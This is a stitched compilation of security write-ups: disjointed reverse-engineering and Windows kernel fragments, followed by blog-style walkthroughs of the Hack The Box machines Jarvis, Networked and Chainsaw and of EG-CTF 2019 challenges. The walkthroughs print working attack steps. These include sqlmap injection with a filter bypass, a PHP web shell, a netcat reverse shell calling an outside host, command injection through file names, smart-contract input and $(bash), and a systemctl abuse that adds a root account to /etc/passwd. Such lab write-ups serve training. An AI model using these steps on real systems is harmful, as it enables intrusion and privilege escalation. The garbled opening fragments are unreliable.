Nuit du Hack XV Quals - Reverse 350: Matriochka step 4 (I did it again)
This script, when executed under IDA, writes the correct input to an output file :
The flag is simply the md5sum of this file :
VadType flag |
PrivateMemory flag
|
Type
|
0
|
0
|
MMVAD
|
0
|
1
|
MMVAD_SHORT
|
1
|
1
|
MMVAD
|
2
|
0
|
MMVAD
|
3
|
1
|
MMVAD_ENCLAVE
|
souhail@ubuntu:/mnt/floppy$ lsAUTOEXEC.BAT EGA2.CPI IO.SYS KEYBRD3.SYS MODE.COMCOMMAND.COM EGA3.CPI KEYB.COM KEYBRD4.SYS MSDOS.SYSCONFIG.SYS EGA.CPI KEYBOARD.SYS key.dat TMP.DATDISPLAY.SYS infohelp.exe KEYBRD2.SYS message.datsouhail@ubuntu:/mnt/floppy$
WORD* ptr = vm_code;
int i = 0;
while ( ptr[0] < 0x4B6E )
{
WORD op_addr = ptr[ ptr[0] ];
WORD res;
if ( op_addr == -2 )
{
break; //Exit
}
if ( op_addr == -1 )
{
ptr[0]++;
}
else
{
res = ptr[op_addr] - ptr[1]; //SUB op, ACCUM
ptr[1] = res; //ACCUM
if ( op_addr != 2 )
{
ptr[op_addr] = res;
}
if ( res < 0 )
{
ptr[0]++;
}
ptr[0]++;
}
if ( ptr[6] == 1 )
{
printf("%c", ptr[4]);
ptr[6] = ptr[4] = 0;
}
if ( ptr[5] == 1 )
{
ptr[5] = 0;
scanf("%c", &ptr[3]);
}
______________________________________________________________}
res = ptr[op_addr] - ptr[1];
if ( ptr[0] == 0x203d ) //IP of the check, see figure above
{
res = 0;
}
//Execute the subtraction check and return a booleansums [xxx] = {...};new_sums [yyy] = {0};for ( i = 0; i < 15; i++){memcpy(initial_state_tmp, initial_state);snapshot_1 = take_snapshot_1(initial_state_tmp, i); //i is passed to go to the corresponding checkfor ( c1 = 0x20; c1 <= 0x7F; c1++ ){for ( c2 = 0x20; c2 <= 0x7F; c2++){memcpy(snapshot_1_tmp, snapshot_1);write_characters_to_mem_at_offset(snapshot_1_tmp ,c1 , c2 , i);snapshot_2 = take_snapshot_2(snapshot_1_tmp);for ( sum in sums ){memcpy(snapshot_2_tmp, snapshot_2);write_sum_to_mem(snapshot_2_tmp ,sum);
{append(new_sums, sum); //valid sum, append it}}}}sums = new_sums;new_sums = [0];}print sums;
VOID EtwTiLogQueueApcThread(
BYTE PreviousMode,
PKTHREAD ApcThread, //Apc->Thread
PVOID NormalRoutine,
PVOID NormalContext,
PVOID SystemArgument1,
PVOID SystemArgument2);
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
(Click to zoom) |
Fails (JZ fail) if the property ExeName is absent |
Fails if the property SourcePath is absent |
(Click to zoom) |
(Click to zoom) |
{
"CmdLineExecute":
{
"ExeName": "cmd.exe",
"SourcePath": "file://C:\\Windows\\System32",
"ExeMD5": "fef8118edf7918d3c795d6ef03800519"
}
}
(Click to zoom) |
{
"CmdLineExecute":
{
"ExeName": "cmd.exe",
"Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe",
"SourcePath": "file://C:\\Windows\\System32",
"ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE
}
}
(Click to zoom) |
(Figure 1) |
(Figure 2) |
(Figure 3) : Click to Zoom |
(Figure 4) |
(Figure 5) |
(Figure 6) : Click To Zoom |
(Figure 8) |
(Figure 9) |
1. [...]In (1.) everything is normal, the work item is queued, dispatched and then the pool allocation it uses is freed.
QueueWorkItem(fffffa8062dc6f20)
DeferredWorkItem(fffffa8062dc6f20)
ExFreePoolWithTag(fffffa8062dc6f20)
[...]
2. QueueWorkItem(fffffa80635d2ea0)
ExFreePoolWithTag(fffffa80635d2ea0)
QueueWorkItem(fffffa8062dd5c10)
ExFreePoolWithTag(fffffa8062dd5c10)
QueueWorkItem(fffffa8062dd6890)
ExFreePoolWithTag(fffffa8062dd6890)
QueueWorkItem(fffffa8062ddac80)
ExFreePoolWithTag(fffffa8062ddac80)
QueueWorkItem(fffffa80624cd5e0)
[...]
3. DeferredWorkItem(fffffa80635d2ea0)
(Figure 10) : Click to Zoom |
(Figure 11) |
Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL
injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143
, I added it to /etc/hosts
as jarvis.htb
. Let’s jump right in!
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb |
We got ssh
on port 22 and http
on port 80. Let’s take a look at the web service.
By visiting http://jarvis.htb/
we get a website for a hotel called Stark Hotel:
I ran gobuster
to check for any sub directories and the only interesting thing I found was /phpmyadmin
:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt |
http://jarvis.htb/phpmyadmin
phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net
That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.
Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php
with a parameter called cod
that holds the room number:
I tried replacing the number with a single quote '
and I got a weird response:
So I ran sqlmap
but I got a 404 response:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 |
I checked the page again and saw a message indicating that I got banned for 90 seconds:
I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent
option and used Firefox user-agent, that was enough to bypass the filter:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" |
I could get RCE in 2 different ways.
By using the os-shell
option in sqlmap
:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell |
From here we can simply execute a reverse shell command and get a shell.
I used the --passwords
option to dump the users’ password hashes:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords |
I got the password hash for DBadmin
, I cracked it with crackstation:
Then I tried these credentials (DBadmin : imissyou
) with phpmyadmin
and I got in:
From the SQL
console we can write a web shell:
1 |
SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php" |
I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url
-encode it first:
1 |
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff |
Now we have a shell as www-data
:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337 |
I checked the home directory and there was a user called pepper
, I couldn’t read the user flag as www-data
:
1 |
www-data@jarvis:/var/www/html$ cd /home/ |
By running sudo -l
I saw that I can run /var/www/Admin-Utilities/simpler.py
as pepper
without a password:
1 |
www-data@jarvis:/home/pepper$ sudo -l |
1 |
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py |
Let’s take a look at that script:
1 |
www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py |
The most interesting function in this script is exec_ping
:
1 |
def exec_ping(): |
It takes our input (it assumes that it’s an ip) and executes ping
on it, to prevent command injection it checks for these characters:
1 |
& ; - ` || | |
However, It doesn’t check for the dollar sign ($
), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1)
, echo 127.0.0.1
will be executed first then the ping
command will be executed:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1) |
ping -c 1 $(whoami)
will result in an error message because it will try to ping root
which is not a valid hostname:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(whoami) |
So we can simply do $(bash)
and we’ll get a shell:
1 |
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p |
When I ran commands I didn’t get any output:
1 |
pepper@jarvis:~$ id |
So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper
:
1 |
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338 |
We owned user.
When I checked the suid
binaries I saw systemctl
:
1 |
pepper@jarvis:~$ find / -perm -4000 2>/dev/null |
systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org
To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl
to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh
:
1 |
[Unit] |
And I created /dev/shm/root.sh
which echoes:
1 |
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash |
to /etc/passwd
to enable us to su
as root with the credentials rooot : AAAA
. (Check Ghoul).
1 |
pepper@jarvis:/dev/shm$ nano root.service |
I enabled the service and started it:
1 |
pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service |
Now if we check /etc/passwd
we’ll see that it has been modified:
1 |
pepper@jarvis:/dev/shm$ cat /etc/passwd |
1 |
pepper@jarvis:/dev/shm$ su rooot |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Haystack
Next Hack The Box write-up : Hack The Box - Networked
Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE
vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146
, I added it to /etc/hosts
as networked.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb |
We got ssh
on port 22 and http
on port 80, let’s check the web service.
The index page had nothing except for this message:
So I ran gobuster
to check for sub directories and I found 2 interesting directories, /uploads
and /backup
:
1 |
root@kali:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt |
In /backup
I found a tar
archive that had a backup of all the site’s pages:
1 |
root@kali:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar |
1 |
root@kali:~/Desktop/HTB/boxes/networked# mkdir backup |
index.php
:
1 |
<html> |
lib.php
:
1 |
<?php |
photos.php
:
1 |
<html> |
upload.php
:
1 |
<?php |
/upload.php
:
/photos.php
:
We can use upload.php
to upload images then we can view them through photos.php
or /uploads/image_name
. For some time I tried to bypass the extension filter in upload.php
to upload php
files but I wasn’t able to bypass it. However I could get RCE
by injecting php
code in the uploaded images.
I got a solid black image and called it original.png
, let’s upload it:
Now let’s copy that image and inject some php
code into the new image:
1 |
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png |
I injected <?php passthru("whoami"); ?>
which should execute whoami
, let’s test it:
Now if we view the file from /uploads
we won’t get the image, we’ll get the binary data of the image and the result of the executed php
code at the end:whoami
got executed successfully and we’re the user apache
.
I created another one to get a reverse shell:
1 |
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png |
And I got a shell as apache
:
1 |
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337 |
First thing I did after getting a shell was to make it stable:
1 |
sh-4.2$ which python |
Then I started to enumerate the box, there was only one user on the box called guly
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x. 3 root root 18 Jul 2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$
We can’t read the flag as apache
, but there are some other interesting readable stuff, crontab.guly
shows that /home/guly/check_attack.php
gets executed as guly
every 3 minutes:
1 |
bash-4.2$ cat crontab.guly |
check_attack.php
:
1 |
bash-4.2$ cat check_attack.php |
This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm
command without any filtering which makes it vulnerable to command injection:
1 |
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); |
$path
is the path of the uploads directory:
1 |
$path = '/var/www/html/uploads/'; |
And $value
is the suspicious file’s name.
We can simply go to /var/www/html/uploads
and create a file that holds the payload in its name. The name will start with a semicolon ;
(to inject the new command) then the reverse shell command.
1 |
bash-4.2$ cd /var/www/html/uploads |
After some time I got a shell as guly
:
1 |
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338 |
We owned user.
As guly
I checked sudo -l
and found that guly
can run /usr/local/sbin/changename.sh
as root without a password:
1 |
[guly@networked ~]$ sudo -l |
changename.sh
:
1 |
[guly@networked ~]$ cat /usr/local/sbin/changename.sh |
This script simply creates a network script for an interface called guly
then activates that interface. It asks the user for these options: NAME
, PROXY_METHOD
, BROWSER_ONLY
, BOOTPROTO
.
1 |
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh |
We’re only interested in the NAME
option because according to this page we can inject commands in the interface name. Let’s try to execute bash
:
1 |
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh |
And we got a root shell.
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw
I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.
1 |
Here you are |
This was a very easy one, we’re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58
encoded:
1 |
root@kali:~/Desktop/EGCTF-Quals/starter/decode-me# base58 -d ./message.txt |
1 |
We found this obfuscated JS code and we think it may be a cryptominer. Please confirm and extract the hidden flag. |
I used beautifier.io to beautify the javascript
code:
1 |
var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c']; |
By looking at the end of the code we’ll see this function:
1 |
variable = function() { |
So what I did was to paste the code in the js
console, call the function and read the flag:
1 |
root@kali:~/Desktop/EGCTF-Quals/starter/JSCryptoMiner# js |
1 |
We found this key online but it does not make any sense to us. Can you figure anything out? |
By looking at the text it’s easily recognizable that this is the flag but the letters are substituted.
We know that the flag starts with EGCTF
so C
is E
and E
is G
, which means that the offset is 2. I used rot13.com to decode the flag:
1 |
I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code |
We’re given an image called QR.png
:
I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:
1 |
R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 . |
I tried rotating the image by 90 degrees to see if I’ll get any different results, which actually worked:
1 |
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR.png -rotate 90 QR_2.png |
QR_2.png
:
1 |
7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ Q |
Let’s get the other 2 images:
1 |
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_2.png -rotate 90 QR_3.png |
QR_3.png
:
1 |
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n |
QR_4.png
:
1 |
33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3 |
Final message:
1 |
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3 7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ QR_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 . |
1 |
I never set out to be weird. It was always other people who called me weird. |
The index page only had an image saying “SITE UNDER CONSTRUCTION” and nothing else:
I ran gobuster
to check for sub directories and found a git
directory:
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up# gobuster -u http://172.105.76.128/ -w /usr/share/wordlists/dirb/common.txt |
/.git
:
I used wget
to download it:
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up# mkdir git |
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git# ls -al |
I checked the reflog
to see the commits:
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git reflog |
The commit NewFeature (89329fa)
revealed a secret path (/S3cR3tPaTh
):
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8 |
/S3cR3tPaTh
:
I could also find the credentials in one of the commits (DelCr (5b9e491)
):
1 |
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 5b9e491 |
1 |
Some one hacked us, we are sure that our password is so strong! |
This was the easiest web challenge, by visiting the site we get asked for authentication:
As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r
so I tried tampering with the request method:
1 |
root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/ |
1 |
nc 167.71.93.117 9000 |
1 |
Strong key! |
By connecting to that port we get asked for a name, then we get an encrypted output:
1 |
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# nc 167.71.93.117 9000 |
From the challenge name I assumed that the message is DES
encrypted so I tried getting an encrypted message then sending it back again to see if I’ll get the decrypted result.
I sent 1
, then I saved the output to a file and called it out.1
1 |
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 |
I opened the file in vi
and removed Name: Here is your personalized message:
and Bye
:
1 |
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# vi out.1 |
Then I sent the encrypted message as an input, and I successfully got back the decrypted message, that’s when I knew that my approach wasn’t intended because it wants the decryption key as the flag:
1 |
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000 |
The hint said Strong key!
, so it’s probably a weak one, and DES
is known for some weak keys. I searched for weak DES
keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE
worked:
1 |
We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked? |
We’re given a memory image called memdump.mem
.
First thing I did was to check the image info (I used volatility
):
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo |
Then I checked the processes:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan |
And I dumped the files:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# mkdir files |
I ran the file
command on all the dumped files and found 2 RAR
archives:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/ |
Both of them had an image called flag.png
and both of them were password protected:
Earlier when I ran psscan
there was a WinRAR
process running (PID
: 1308 ):
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan |
I checked the environment variables of that process and found the password there:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 envars -p 1308 |
flag.png
:
1 |
List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help? |
We’re given a pcapng
file called salary_traffic.pcapng
, by looking at the capture in wireshark
and sorting the packets according to their protocol I noticed a bunch of weird DNS
queries:
All of them were looking up the same domain example.test
with different base-64
encoded strings as subdomains.
I used tshark
to extract all of these DNS
queries and I saved them into a file:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" |
Then by using a text editor I removed the ip address, .example.test
and the new lines:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# cat out.txt |
If you look carefully you’ll notice that it has a lot of new line escapes, so I used python
to print the final base-64 data and save them into a file:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# python |
After decoding the data I used file
to check the type of the new file, it was a 7z
archive:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# base64 -d final.b64 > final.decoded |
I tried to extract it, but it was password protected:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded |
I checked the network capture again and found an HTTP
request to a file called key.txt
:
The response was a base-64 encoded string so I decoded it then I used the result as a password:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# echo dGghc2MwbXBsZXhwQHNzdzByZA | base64 -d |
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded |
And finally I got the flag:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# grep EGCTF ./employee_data.txt |
1 |
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us? |
We’re given a pcapng
file called SecretMessage.pcapng
, by looking at the capture in wireshark
and sorting the packets according to their protocol I noticed a bunch of ICMP
requests with weird ttl
numbers:
These numbers were ASCII
characters codes, I tried decoding the first 5 ones and I got EGCTF
:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# python |
Doing it manually will take some time so I exported the ICMP
packets as a txt
:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets |
I used grep
to get only the lines with ttl
:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep "ttl" |
Then by using cut
I got the ttl
numbers only:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1 |
We don’t need 128
because that’s the ttl
number from the response packets so we’ll remove it by piping to grep -v "128"
, then finally will use echo -n
on the output to produce a single line output:
1 |
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# echo -n `cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1 | grep -v "128"` |
I used the ASCII
code tool from dcode.fr to decode the flag:
That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142
, I added it to /etc/hosts
as chainsaw.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb |
We got ssh
on port 22 and ftp
on port 21.
Anonymous authentication was allowed on the ftp
server, so let’s check what’s in there:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb |
WeaponizedPing.sol
:
1 |
pragma solidity ^0.4.24; |
WeaponizedPing.json
:
1 |
{ |
address.txt
:
1 |
0x479C21df57F2deaB052C466E4de7E82539F6A988 |
WeaponizedPing
is a smart contract. smart contracts are written in a language called solidity.
The contract has a variable called store
which holds the value google.com
by default:
1 |
string store = "google.com"; |
There are two functions, getDomain()
which returns the value of store
:
1 |
function getDomain() public view returns (string) |
And setDomain()
which takes a string and changes the value of store
from whatever it was to that string:
1 |
function setDomain(string _value) public |
From the name of the contract (WeaponizedPing
), I assumed that ping
gets executed on store
. We can control store
by calling setDomain()
, if the ping
command doesn’t get filtered we’ll be able to inject commands and get RCE
. However to do all of that we need to be able to interact with the contract in the first place.
Assuming that the contract is deployed on a publicly exposed ethereum
node, I ran a full nmap
scan to find the port on which the server is running:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull |
I found another open port (9810), I ran a service scan on that port:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb |
It responded to HTTP
requests which means that the JSON-RPC
server is HTTP
based.
There are a lot of ways to interact with ethereum
smart contracts, I used web3
python library. (A great reference)
I imported Web3
and eth
:
1 |
from web3 import Web3, eth |
Then I created a new web3
connection to http://chainsaw.htb:9810
and saved it in a variable called w3
:
1 |
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810')) |
To interact with the smart contract we need two things:
ftp
server (Note: that address changes everytime the box is reset).ABI
(Application Binary Interface) of the contract: We can get it from the contract source.To get the ABI
I used the solidity IDE
to compile the contract then I clicked on “Details” and copied the ABI
:
I saved it in a file (ABI.txt
) then I executed echo -n
on cat ABI.txt
to make it a single line:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt` |
I saved the ABI
and the address in variables:
1 |
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') |
Then I finally created the contract representation and saved it in the variable contract
:
1 |
contract = w3.eth.contract(address=address, abi=abi) |
By using the functions
property we can call any function that the contract has, let’s call the function getDomain()
:
1 |
print(contract.functions.getDomain().call()) |
Final test.py
looks like this:
1 |
#!/usr/bin/python3 |
Let’s run it:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py |
It’s working fine, let’s try to change the domain by using setDomain()
:
1 |
contract.functions.setDomain("test").transact() |
Note: When passing arguments to functions we have to use transact()
instead of call()
, to use transact()
we need an account, that’s why I added this line:
1 |
w3.eth.defaultAccount = w3.eth.accounts[0] |
test.py
:
1 |
#!/usr/bin/python3 |
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py |
Great, now for the exploitation part.
Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl
command and I ran a python server on port 80:
1 |
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact() |
test.py
:
1 |
#!/usr/bin/python3 |
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py |
After a few seconds I got a request:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80 |
Based on these tests I wrote this small exploit:
1 |
#!/usr/bin/python3 |
I listened on port 1337 and ran the exploit:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337 |
And I got a shell immediately as a user called administrator
:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337 |
There were 2 users on the box, administrator
and bobby
:
1 |
administrator@chainsaw:/opt/WeaponizedPing$ cd /home |
administrator
had no permission to access bobby
‘s home directory:
1 |
administrator@chainsaw:/home$ cd bobby/ |
In administrator
‘s home directory I noticed a directory called .ipfs
:
1 |
administrator@chainsaw:/home$ cd administrator/ |
The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia
Take a look at the cli documentation.
I used ip refs local
to list the local references:
1 |
administrator@chainsaw:/home/administrator$ ipfs refs local |
I used ipfs ls
on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:
1 |
administrator@chainsaw:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri |
We’re interested in bobby
‘s file so I used ipfs get
to get it:
1 |
administrator@chainsaw:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF |
The email had his encrypted ssh
key as an attachment:
1 |
administrator@chainsaw:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF |
I copied it to my box:
1 |
